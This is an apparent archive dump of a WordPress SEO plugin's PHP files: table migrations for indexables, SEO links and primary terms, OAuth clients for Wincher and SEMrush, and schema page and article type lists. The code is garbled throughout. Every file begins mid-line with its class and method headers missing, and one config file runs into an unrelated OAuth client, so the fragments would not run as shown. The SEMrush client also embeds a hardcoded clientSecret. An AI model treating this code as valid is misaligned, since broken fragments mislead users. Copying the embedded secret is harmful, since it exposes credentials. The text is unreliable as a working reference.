* @param string|null $current_version The current version of the plugin that's being checked.
*
* @return bool Whether a group of badges is still eligible for a "new" badge.
*/
public function is_still_eligible_for_new_badge( $group, $current_version = null ) {
if ( ! \array_key_exists( $group, $this::GROUP_NAMES ) ) {
return false;
}
$group_version = $this::GROUP_NAMES[ $group ];
$current_version ??= $this->version;
return (bool) \version_compare( $group_version, $current_version, '>' );
}
}
config/migrations/20200428194858_ExpandIndexableColumnLengths.php 0000644 00000003420 15207625600 0020122 0 ustar 00 change_column( $this->get_table_name(), 'title', 'text', [ 'null' => true ] );
$this->change_column( $this->get_table_name(), 'open_graph_title', 'text', [ 'null' => true ] );
$this->change_column( $this->get_table_name(), 'twitter_title', 'text', [ 'null' => true ] );
$this->change_column( $this->get_table_name(), 'open_graph_image_source', 'text', [ 'null' => true ] );
$this->change_column( $this->get_table_name(), 'twitter_image_source', 'text', [ 'null' => true ] );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$attr_limit_191 = [
'null' => true,
'limit' => 191,
];
$this->change_column(
$this->get_table_name(),
'title',
'string',
$attr_limit_191,
);
$this->change_column(
$this->get_table_name(),
'opengraph_title',
'string',
$attr_limit_191,
);
$this->change_column(
$this->get_table_name(),
'twitter_title',
'string',
$attr_limit_191,
);
$this->change_column(
$this->get_table_name(),
'open_graph_image_source',
'string',
$attr_limit_191,
);
$this->change_column(
$this->get_table_name(),
'twitter_image_source',
'string',
$attr_limit_191,
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200513133401_ResetIndexableHierarchyTable.php 0000644 00000001366 15207625600 0020044 0 ustar 00 query( 'TRUNCATE TABLE ' . $this->get_table_name() );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
// Nothing to do.
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable_Hierarchy' );
}
}
config/migrations/20200617122511_CreateSEOLinksTable.php 0000644 00000004740 15207625600 0016066 0 ustar 00 get_table_name();
$adapter = $this->get_adapter();
// The table may already have been created by legacy code.
// If not, create it exactly as it was.
if ( ! $adapter->table_exists( $table_name ) ) {
$table = $this->create_table( $table_name, [ 'id' => false ] );
$table->column(
'id',
'biginteger',
[
'primary_key' => true,
'limit' => 20,
'unsigned' => true,
'auto_increment' => true,
],
);
$table->column( 'url', 'string', [ 'limit' => 255 ] );
$table->column(
'post_id',
'biginteger',
[
'limit' => 20,
'unsigned' => true,
],
);
$table->column(
'target_post_id',
'biginteger',
[
'limit' => 20,
'unsigned' => true,
],
);
$table->column( 'type', 'string', [ 'limit' => 8 ] );
$table->finish();
}
if ( ! $adapter->has_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] ) ) {
$this->add_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] );
}
// Add these columns outside of the initial table creation as these did not exist on the legacy table.
$this->add_column( $table_name, 'indexable_id', 'integer', [ 'unsigned' => true ] );
$this->add_column( $table_name, 'target_indexable_id', 'integer', [ 'unsigned' => true ] );
$this->add_column( $table_name, 'height', 'integer', [ 'unsigned' => true ] );
$this->add_column( $table_name, 'width', 'integer', [ 'unsigned' => true ] );
$this->add_column( $table_name, 'size', 'integer', [ 'unsigned' => true ] );
$this->add_column( $table_name, 'language', 'string', [ 'limit' => 32 ] );
$this->add_column( $table_name, 'region', 'string', [ 'limit' => 32 ] );
$this->add_index( $table_name, [ 'indexable_id', 'type' ], [ 'name' => 'indexable_link_direction' ] );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->drop_table( $this->get_table_name() );
}
/**
* Returns the SEO Links table name.
*
* @return string
*/
private function get_table_name() {
return Model::get_table_name( 'SEO_Links' );
}
}
config/migrations/20191011111109_WpYoastIndexableHierarchy.php 0000644 00000003075 15207625600 0017422 0 ustar 00 get_table_name();
$indexable_table = $this->create_table( $table_name, [ 'id' => false ] );
$indexable_table->column(
'indexable_id',
'integer',
[
'primary_key' => true,
'unsigned' => true,
'null' => true,
'limit' => 11,
],
);
$indexable_table->column(
'ancestor_id',
'integer',
[
'primary_key' => true,
'unsigned' => true,
'null' => true,
'limit' => 11,
],
);
$indexable_table->column(
'depth',
'integer',
[
'unsigned' => true,
'null' => true,
'limit' => 11,
],
);
$indexable_table->finish();
$this->add_index( $table_name, 'indexable_id', [ 'name' => 'indexable_id' ] );
$this->add_index( $table_name, 'ancestor_id', [ 'name' => 'ancestor_id' ] );
$this->add_index( $table_name, 'depth', [ 'name' => 'depth' ] );
}
/**
* Migration up.
*
* @return void
*/
public function down() {
$this->drop_table( $this->get_table_name() );
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable_Hierarchy' );
}
}
config/migrations/20171228151840_WpYoastIndexable.php 0000644 00000014315 15207625601 0015601 0 ustar 00 add_table();
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->drop_table( $this->get_table_name() );
}
/**
* Creates the indexable table.
*
* @return void
*/
private function add_table() {
$table_name = $this->get_table_name();
$indexable_table = $this->create_table( $table_name );
// Permalink.
$indexable_table->column( 'permalink', 'mediumtext', [ 'null' => true ] );
$indexable_table->column(
'permalink_hash',
'string',
[
'null' => true,
'limit' => 191,
],
);
// Object information.
$indexable_table->column(
'object_id',
'integer',
[
'unsigned' => true,
'null' => true,
'limit' => 11,
],
);
$indexable_table->column(
'object_type',
'string',
[
'null' => false,
'limit' => 32,
],
);
$indexable_table->column(
'object_sub_type',
'string',
[
'null' => true,
'limit' => 32,
],
);
// Ownership.
$indexable_table->column(
'author_id',
'integer',
[
'unsigned' => true,
'null' => true,
'limit' => 11,
],
);
$indexable_table->column(
'post_parent',
'integer',
[
'unsigned' => true,
'null' => true,
'limit' => 11,
],
);
// Title and description.
$indexable_table->column(
'title',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column( 'description', 'text', [ 'null' => true ] );
$indexable_table->column(
'breadcrumb_title',
'string',
[
'null' => true,
'limit' => 191,
],
);
// Post metadata: status, public, protected.
$indexable_table->column(
'post_status',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column(
'is_public',
'boolean',
[
'null' => true,
'default' => null,
],
);
$indexable_table->column( 'is_protected', 'boolean', [ 'default' => false ] );
$indexable_table->column(
'has_public_posts',
'boolean',
[
'null' => true,
'default' => null,
],
);
$indexable_table->column(
'number_of_pages',
'integer',
[
'unsigned' => true,
'null' => true,
'default' => null,
'limit' => 11,
],
);
$indexable_table->column( 'canonical', 'mediumtext', [ 'null' => true ] );
// SEO and readability analysis.
$indexable_table->column(
'primary_focus_keyword',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column(
'primary_focus_keyword_score',
'integer',
[
'null' => true,
'limit' => 3,
],
);
$indexable_table->column(
'readability_score',
'integer',
[
'null' => true,
'limit' => 3,
],
);
$indexable_table->column( 'is_cornerstone', 'boolean', [ 'default' => false ] );
// Robots.
$indexable_table->column(
'is_robots_noindex',
'boolean',
[
'null' => true,
'default' => false,
],
);
$indexable_table->column(
'is_robots_nofollow',
'boolean',
[
'null' => true,
'default' => false,
],
);
$indexable_table->column(
'is_robots_noarchive',
'boolean',
[
'null' => true,
'default' => false,
],
);
$indexable_table->column(
'is_robots_noimageindex',
'boolean',
[
'null' => true,
'default' => false,
],
);
$indexable_table->column(
'is_robots_nosnippet',
'boolean',
[
'null' => true,
'default' => false,
],
);
// Twitter.
$indexable_table->column(
'twitter_title',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column( 'twitter_image', 'mediumtext', [ 'null' => true ] );
$indexable_table->column( 'twitter_description', 'mediumtext', [ 'null' => true ] );
$indexable_table->column(
'twitter_image_id',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column(
'twitter_image_source',
'string',
[
'null' => true,
'limit' => 191,
],
);
// Open-Graph.
$indexable_table->column(
'open_graph_title',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column( 'open_graph_description', 'mediumtext', [ 'null' => true ] );
$indexable_table->column( 'open_graph_image', 'mediumtext', [ 'null' => true ] );
$indexable_table->column(
'open_graph_image_id',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column(
'open_graph_image_source',
'string',
[
'null' => true,
'limit' => 191,
],
);
$indexable_table->column( 'open_graph_image_meta', 'text', [ 'null' => true ] );
// Link count.
$indexable_table->column(
'link_count',
'integer',
[
'null' => true,
'limit' => 11,
],
);
$indexable_table->column(
'incoming_link_count',
'integer',
[
'null' => true,
'limit' => 11,
],
);
// Prominent words.
$indexable_table->column(
'prominent_words_version',
'integer',
[
'null' => true,
'limit' => 11,
'unsigned' => true,
'default' => null,
],
);
$indexable_table->finish();
$this->add_indexes( $table_name );
$this->add_timestamps( $table_name );
}
/**
* Adds indexes to the indexable table.
*
* @param string $indexable_table_name The name of the indexable table.
*
* @return void
*/
private function add_indexes( $indexable_table_name ) {
$this->add_index(
$indexable_table_name,
[
'object_type',
'object_sub_type',
],
[
'name' => 'object_type_and_sub_type',
],
);
$this->add_index(
$indexable_table_name,
'permalink_hash',
[
'name' => 'permalink_hash',
],
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20230417083836_AddInclusiveLanguageScore.php 0000644 00000001663 15207625601 0017400 0 ustar 00 get_table_name();
$this->add_column(
$table_name,
'inclusive_language_score',
'integer',
[
'null' => true,
'limit' => 3,
],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$table_name = $this->get_table_name();
$this->remove_column( $table_name, 'inclusive_language_score' );
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200702141921_CreateIndexableSubpagesIndex.php 0000644 00000002360 15207625601 0020042 0 ustar 00 change_column(
$this->get_table_name(),
'post_status',
'string',
[
'null' => true,
'limit' => 20,
],
);
$this->add_index(
$this->get_table_name(),
[ 'post_parent', 'object_type', 'post_status', 'object_id' ],
[ 'name' => 'subpages' ],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->change_column(
$this->get_table_name(),
'post_status',
'string',
[
'null' => true,
'limit' => 191,
],
);
$this->remove_index(
$this->get_table_name(),
[ 'post_parent', 'object_type', 'post_status', 'object_id' ],
[ 'name' => 'subpages' ],
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20260105111111_AddSeoLinksIndex.php 0000644 00000002200 15207625601 0015451 0 ustar 00 get_table_name();
$this->add_index(
$table_name,
'url',
[
'name' => 'url_index',
],
);
$this->add_index(
$table_name,
'target_indexable_id',
[
'name' => 'target_indexable_id_index',
],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$table_name = $this->get_table_name();
$this->remove_index(
$table_name,
'url',
[
'name' => 'url_index',
],
);
$this->remove_index(
$table_name,
'target_indexable_id',
[
'name' => 'target_indexable_id_index',
],
);
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'SEO_Links' );
}
}
config/migrations/20201216141134_ExpandPrimaryTermIDColumnLengths.php 0000644 00000002006 15207625601 0020666 0 ustar 00 change_column(
$this->get_table_name(),
$column,
'biginteger',
[ 'limit' => 20 ],
);
}
}
/**
* Migration down.
*
* @return void
*/
public function down() {
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Primary_Term' );
}
}
config/migrations/20200420073606_AddColumnsToIndexables.php 0000644 00000004125 15207625601 0016676 0 ustar 00 get_tables();
$blog_id = \get_current_blog_id();
foreach ( $tables as $table ) {
$this->add_column(
$table,
'blog_id',
'biginteger',
[
'null' => false,
'limit' => 20,
'default' => $blog_id,
],
);
}
$attr_limit_32 = [
'null' => true,
'limit' => 32,
];
$attr_limit_64 = [
'null' => true,
'limit' => 64,
];
$indexable_table = $this->get_indexable_table();
$this->add_column( $indexable_table, 'language', 'string', $attr_limit_32 );
$this->add_column( $indexable_table, 'region', 'string', $attr_limit_32 );
$this->add_column( $indexable_table, 'schema_page_type', 'string', $attr_limit_64 );
$this->add_column( $indexable_table, 'schema_article_type', 'string', $attr_limit_64 );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$tables = $this->get_tables();
foreach ( $tables as $table ) {
$this->remove_column( $table, 'blog_id' );
}
$indexable_table = $this->get_indexable_table();
$this->remove_column( $indexable_table, 'language' );
$this->remove_column( $indexable_table, 'region' );
$this->remove_column( $indexable_table, 'schema_page_type' );
$this->remove_column( $indexable_table, 'schema_article_type' );
}
/**
* Retrieves the Indexable table.
*
* @return string The Indexable table name.
*/
protected function get_indexable_table() {
return Model::get_table_name( 'Indexable' );
}
/**
* Retrieves the table names to use.
*
* @return string[] The table names to use.
*/
protected function get_tables() {
return [
$this->get_indexable_table(),
Model::get_table_name( 'Indexable_Hierarchy' ),
Model::get_table_name( 'Primary_Term' ),
];
}
}
config/migrations/20200616130143_ReplacePermalinkHashIndex.php 0000644 00000004373 15207625601 0017357 0 ustar 00 get_table_name();
$adapter = $this->get_adapter();
if ( ! $adapter->has_table( $table_name ) ) {
return;
}
$this->change_column(
$table_name,
'permalink_hash',
'string',
[
'null' => true,
'limit' => 40,
],
);
if ( $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) {
$this->remove_index(
$table_name,
[
'permalink_hash',
],
[
'name' => 'permalink_hash',
],
);
}
if ( ! $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) {
$this->add_index(
$table_name,
[
'permalink_hash',
'object_type',
],
[
'name' => 'permalink_hash_and_object_type',
],
);
}
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$table_name = $this->get_table_name();
$adapter = $this->get_adapter();
if ( ! $adapter->has_table( $table_name ) ) {
return;
}
if ( $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) {
$this->remove_index(
$table_name,
[
'permalink_hash',
'object_type',
],
[
'name' => 'permalink_hash_and_object_type',
],
);
}
$this->change_column(
$table_name,
'permalink_hash',
'string',
[
'null' => true,
'limit' => 191,
],
);
if ( ! $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) {
$this->add_index(
$table_name,
[
'permalink_hash',
],
[
'name' => 'permalink_hash',
],
);
}
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200408101900_AddCollationToTables.php 0000644 00000001676 15207625601 0016341 0 ustar 00 get_charset_collate();
if ( empty( $charset_collate ) ) {
return;
}
$tables = [
Model::get_table_name( 'migrations' ),
Model::get_table_name( 'Indexable' ),
Model::get_table_name( 'Indexable_Hierarchy' ),
Model::get_table_name( 'Primary_Term' ),
];
foreach ( $tables as $table ) {
$this->query( 'ALTER TABLE ' . $table . ' CONVERT TO ' . \str_replace( 'DEFAULT ', '', $charset_collate ) );
}
}
/**
* Migration down.
*
* @return void
*/
public function down() {
// No down required.
}
}
config/migrations/20200430150130_ClearIndexableTables.php 0000644 00000002057 15207625602 0016330 0 ustar 00 query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() );
$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
// Nothing to do.
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_indexable_table_name() {
return Model::get_table_name( 'Indexable' );
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_indexable_hierarchy_table_name() {
return Model::get_table_name( 'Indexable_Hierarchy' );
}
}
config/migrations/20190529075038_WpYoastDropIndexableMetaTableIfExists.php 0000644 00000001573 15207625602 0021700 0 ustar 00 get_table_name();
// This can be done safely as it executes a DROP IF EXISTS.
$this->drop_table( $table_name );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
// No down required. This specific table should never exist.
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable_Meta' );
}
}
config/migrations/20201202144329_AddEstimatedReadingTime.php 0000644 00000001704 15207625602 0017005 0 ustar 00 get_table_name();
$this->add_column(
$table_name,
'estimated_reading_time_minutes',
'integer',
[
'null' => true,
'default' => null,
],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$table_name = $this->get_table_name();
$this->remove_column( $table_name, 'estimated_reading_time_minutes' );
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200507054848_DeleteDuplicateIndexables.php 0000644 00000002113 15207625602 0017410 0 ustar 00 get_table_name();
/*
* Deletes duplicate indexables that have the same object_id and object_type.
* The rows with a higher ID are deleted as those should be unused and could be outdated.
*/
$this->query( 'DELETE wyi FROM ' . $table_name . ' wyi INNER JOIN ' . $table_name . ' wyi2 WHERE wyi2.object_id = wyi.object_id AND wyi2.object_type = wyi.object_type AND wyi2.id < wyi.id;' );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
// Nothing to do.
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20211020091404_AddObjectTimestamps.php 0000644 00000003013 15207625602 0016217 0 ustar 00 add_column(
$this->get_table_name(),
'object_last_modified',
'datetime',
[
'null' => true,
'default' => null,
],
);
$this->add_column(
$this->get_table_name(),
'object_published_at',
'datetime',
[
'null' => true,
'default' => null,
],
);
$this->add_index(
$this->get_table_name(),
[
'object_published_at',
'is_robots_noindex',
'object_type',
'object_sub_type',
],
[
'name' => 'published_sitemap_index',
],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->remove_column( $this->get_table_name(), 'object_last_modified' );
$this->remove_column( $this->get_table_name(), 'object_published_at' );
$this->remove_index(
$this->get_table_name(),
[
'object_published_at',
'is_robots_noindex',
'object_type',
'object_sub_type',
],
[
'name' => 'published_sitemap_index',
],
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200728095334_AddIndexesForProminentWordsOnIndexables.php 0000644 00000002266 15207625602 0022253 0 ustar 00 get_table_name();
$adapter = $this->get_adapter();
if ( ! $adapter->has_index( $table_name, $this->columns_with_index, [ 'name' => 'prominent_words' ] ) ) {
$this->add_index(
$table_name,
$this->columns_with_index,
[
'name' => 'prominent_words',
],
);
}
}
/**
* Migration down.
*
* @return void
*/
public function down() {
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200430075614_AddIndexableObjectIdAndTypeIndex.php 0000644 00000001741 15207625602 0020534 0 ustar 00 add_index(
$this->get_table_name(),
[
'object_id',
'object_type',
],
[
'name' => 'object_id_and_type',
],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->remove_index(
$this->get_table_name(),
[
'object_id',
'object_type',
],
[
'name' => 'object_id_and_type',
],
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200609154515_AddHasAncestorsColumn.php 0000644 00000001663 15207625602 0016544 0 ustar 00 add_column(
Model::get_table_name( 'Indexable' ),
'has_ancestors',
'boolean',
[
'default' => false,
],
);
Wrapper::get_wpdb()->query(
'
UPDATE ' . Model::get_table_name( 'Indexable' ) . '
SET has_ancestors = 1
WHERE id IN ( SELECT indexable_id FROM ' . Model::get_table_name( 'Indexable_Hierarchy' ) . ' )
',
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->remove_column( Model::get_table_name( 'Indexable' ), 'has_ancestors' );
}
}
config/migrations/20210817092415_AddVersionColumnToIndexables.php 0000644 00000001551 15207625602 0020074 0 ustar 00 add_column(
$this->get_table_name(),
'version',
'integer',
[
'default' => 1,
],
);
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->remove_column(
$this->get_table_name(),
'version',
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20200429105310_TruncateIndexableTables.php 0000644 00000002065 15207625602 0017076 0 ustar 00 query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() );
$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
// Nothing to do.
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_indexable_table_name() {
return Model::get_table_name( 'Indexable' );
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_indexable_hierarchy_table_name() {
return Model::get_table_name( 'Indexable_Hierarchy' );
}
}
config/migrations/20200428123747_BreadcrumbTitleAndHierarchyReset.php 0000644 00000002357 15207625602 0020720 0 ustar 00 change_column( $this->get_indexable_table_name(), 'breadcrumb_title', 'text', [ 'null' => true ] );
$this->query( 'DELETE FROM ' . $this->get_indexable_hierarchy_table_name() );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->change_column(
$this->get_indexable_table_name(),
'breadcrumb_title',
'string',
[
'null' => true,
'limit' => 191,
],
);
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_indexable_table_name() {
return Model::get_table_name( 'Indexable' );
}
/**
* Retrieves the table name to use.
*
* @return string The table name to use.
*/
protected function get_indexable_hierarchy_table_name() {
return Model::get_table_name( 'Indexable_Hierarchy' );
}
}
config/migrations/20201216124002_ExpandIndexableIDColumnLengths.php 0000644 00000002024 15207625602 0020302 0 ustar 00 change_column(
$this->get_table_name(),
$column,
'biginteger',
[ 'limit' => 20 ],
);
}
}
/**
* Migration down.
*
* @return void
*/
public function down() {
}
/**
* Retrieves the table name to use for storing indexables.
*
* @return string The table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Indexable' );
}
}
config/migrations/20171228151841_WpYoastPrimaryTerm.php 0000644 00000003027 15207625602 0016161 0 ustar 00 get_table_name();
$indexable_table = $this->create_table( $table_name );
$indexable_table->column(
'post_id',
'integer',
[
'unsigned' => true,
'null' => false,
'limit' => 11,
],
);
$indexable_table->column(
'term_id',
'integer',
[
'unsigned' => true,
'null' => false,
'limit' => 11,
],
);
$indexable_table->column(
'taxonomy',
'string',
[
'null' => false,
'limit' => 32,
],
);
// Executes the SQL to create the table.
$indexable_table->finish();
$this->add_index(
$table_name,
[
'post_id',
'taxonomy',
],
[
'name' => 'post_taxonomy',
],
);
$this->add_index(
$table_name,
[
'post_id',
'term_id',
],
[
'name' => 'post_term',
],
);
$this->add_timestamps( $table_name );
}
/**
* Migration down.
*
* @return void
*/
public function down() {
$this->drop_table( $this->get_table_name() );
}
/**
* Retrieves the table name to use.
*
* @return string Table name to use.
*/
protected function get_table_name() {
return Model::get_table_name( 'Primary_Term' );
}
}
config/indexing-reasons.php 0000644 00000002443 15207625603 0012010 0 ustar 00 'yoast',
'redirectUri' => 'https://auth.wincher.com/yoast/setup',
'urlAuthorize' => 'https://auth.wincher.com/connect/authorize',
'urlAccessToken' => 'https://auth.wincher.com/connect/token',
'urlResourceOwnerDetails' => 'https://api.wincher.com/beta/user',
'scopes' => [ 'profile', 'account', 'websites:read', 'websites:write', 'offline_access' ],
'scopeSeparator' => ' ',
'pkceMethod' => 'S256',
],
[
'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ),
],
);
parent::__construct(
self::TOKEN_OPTION,
$provider,
$options_helper,
);
}
/**
* Return the authorization URL.
*
* @return string The authentication URL.
*/
public function get_authorization_url() {
$parsed_site_url = \wp_parse_url( \get_site_url() );
$url = $this->provider->getAuthorizationUrl(
[
'state' => WPSEO_Utils::format_json_encode( [ 'domain' => $parsed_site_url['host'] ] ),
],
);
$pkce_code = $this->provider->getPkceCode();
// Store a transient value with the PKCE code that we need in order to
// exchange the returned code for a token after authorization.
\set_transient( self::PKCE_TRANSIENT_NAME, $pkce_code, \DAY_IN_SECONDS );
return $url;
}
/**
* Requests the access token and refresh token based on the passed code.
*
* @param string $code The code to send.
*
* @return OAuth_Token The requested tokens.
*
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
*/
public function request_tokens( $code ) {
$pkce_code = \get_transient( self::PKCE_TRANSIENT_NAME );
if ( $pkce_code ) {
$this->provider->setPkceCode( $pkce_code );
}
return parent::request_tokens( $code );
}
/**
* Performs the specified request.
*
* @codeCoverageIgnore
*
* @param string $method The HTTP method to use.
* @param string $url The URL to send the request to.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
protected function do_request( $method, $url, array $options ) {
$options['headers'] = [ 'Content-Type' => 'application/json' ];
return parent::do_request( $method, $url, $options );
}
}
config/researcher-languages.php 0000644 00000000523 15207625612 0012617 0 ustar 00 'yoast',
'clientSecret' => 'YdqNsWwnP4vE54WO1ugThKEjGMxMAHJt',
'redirectUri' => 'https://oauth.semrush.com/oauth2/yoast/success',
'urlAuthorize' => 'https://oauth.semrush.com/oauth2/authorize',
'urlAccessToken' => 'https://oauth.semrush.com/oauth2/access_token',
'urlResourceOwnerDetails' => 'https://oauth.semrush.com/oauth2/resource',
],
[
'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ),
],
);
parent::__construct(
self::TOKEN_OPTION,
$provider,
$options_helper,
);
}
/**
* Performs the specified request.
*
* @codeCoverageIgnore
*
* @param string $method The HTTP method to use.
* @param string $url The URL to send the request to.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
public function do_request( $method, $url, array $options ) {
// Add the access token to the GET parameters as well since this is what
// the SEMRush API expects.
$options = \array_merge_recursive(
$options,
[
'params' => [
'access_token' => $this->get_tokens()->access_token,
],
],
);
return parent::do_request( $method, $url, $options );
}
}
config/schema-ids.php 0000644 00000002103 15207625612 0010541 0 ustar 00 '',
'ItemPage' => '',
'AboutPage' => '',
'FAQPage' => '',
'QAPage' => '',
'ProfilePage' => '',
'ContactPage' => '',
'MedicalWebPage' => '',
'CollectionPage' => '',
'CheckoutPage' => '',
'RealEstateListing' => '',
'SearchResultsPage' => '',
];
/**
* Holds the possible schema article types.
*
* Capitalized in this way so the value can be directly used in the schema output.
*
* @var string[]
*/
public const ARTICLE_TYPES = [
'Article' => '',
'BlogPosting' => '',
'SocialMediaPosting' => '',
'NewsArticle' => '',
'AdvertiserContentArticle' => '',
'SatiricalArticle' => '',
'ScholarlyArticle' => '',
'TechArticle' => '',
'Report' => '',
'None' => '',
];
/**
* Gets the page type options.
*
* @return array[] The schema page type options.
*/
public function get_page_type_options() {
return [
[
'name' => \__( 'Web Page', 'wordpress-seo' ),
'value' => 'WebPage',
],
[
'name' => \__( 'Item Page', 'wordpress-seo' ),
'value' => 'ItemPage',
],
[
'name' => \__( 'About Page', 'wordpress-seo' ),
'value' => 'AboutPage',
],
[
'name' => \__( 'FAQ Page', 'wordpress-seo' ),
'value' => 'FAQPage',
],
[
'name' => \__( 'QA Page', 'wordpress-seo' ),
'value' => 'QAPage',
],
[
'name' => \__( 'Profile Page', 'wordpress-seo' ),
'value' => 'ProfilePage',
],
[
'name' => \__( 'Contact Page', 'wordpress-seo' ),
'value' => 'ContactPage',
],
[
'name' => \__( 'Medical Web Page', 'wordpress-seo' ),
'value' => 'MedicalWebPage',
],
[
'name' => \__( 'Collection Page', 'wordpress-seo' ),
'value' => 'CollectionPage',
],
[
'name' => \__( 'Checkout Page', 'wordpress-seo' ),
'value' => 'CheckoutPage',
],
[
'name' => \__( 'Real Estate Listing', 'wordpress-seo' ),
'value' => 'RealEstateListing',
],
[
'name' => \__( 'Search Results Page', 'wordpress-seo' ),
'value' => 'SearchResultsPage',
],
];
}
/**
* Gets the article type options.
*
* @return array[] The schema article type options.
*/
public function get_article_type_options() {
/**
* Filter: 'wpseo_schema_article_types_labels' - Allow developers to filter the available article types and their labels.
*
* Make sure when you filter this to also filter `wpseo_schema_article_types`.
*
* @param array $schema_article_types_labels The available schema article types and their labels.
*/
return \apply_filters(
'wpseo_schema_article_types_labels',
[
[
'name' => \__( 'Article', 'wordpress-seo' ),
'value' => 'Article',
],
[
'name' => \__( 'Blog Post', 'wordpress-seo' ),
'value' => 'BlogPosting',
],
[
'name' => \__( 'Social Media Posting', 'wordpress-seo' ),
'value' => 'SocialMediaPosting',
],
[
'name' => \__( 'News Article', 'wordpress-seo' ),
'value' => 'NewsArticle',
],
[
'name' => \__( 'Advertiser Content Article', 'wordpress-seo' ),
'value' => 'AdvertiserContentArticle',
],
[
'name' => \__( 'Satirical Article', 'wordpress-seo' ),
'value' => 'SatiricalArticle',
],
[
'name' => \__( 'Scholarly Article', 'wordpress-seo' ),
'value' => 'ScholarlyArticle',
],
[
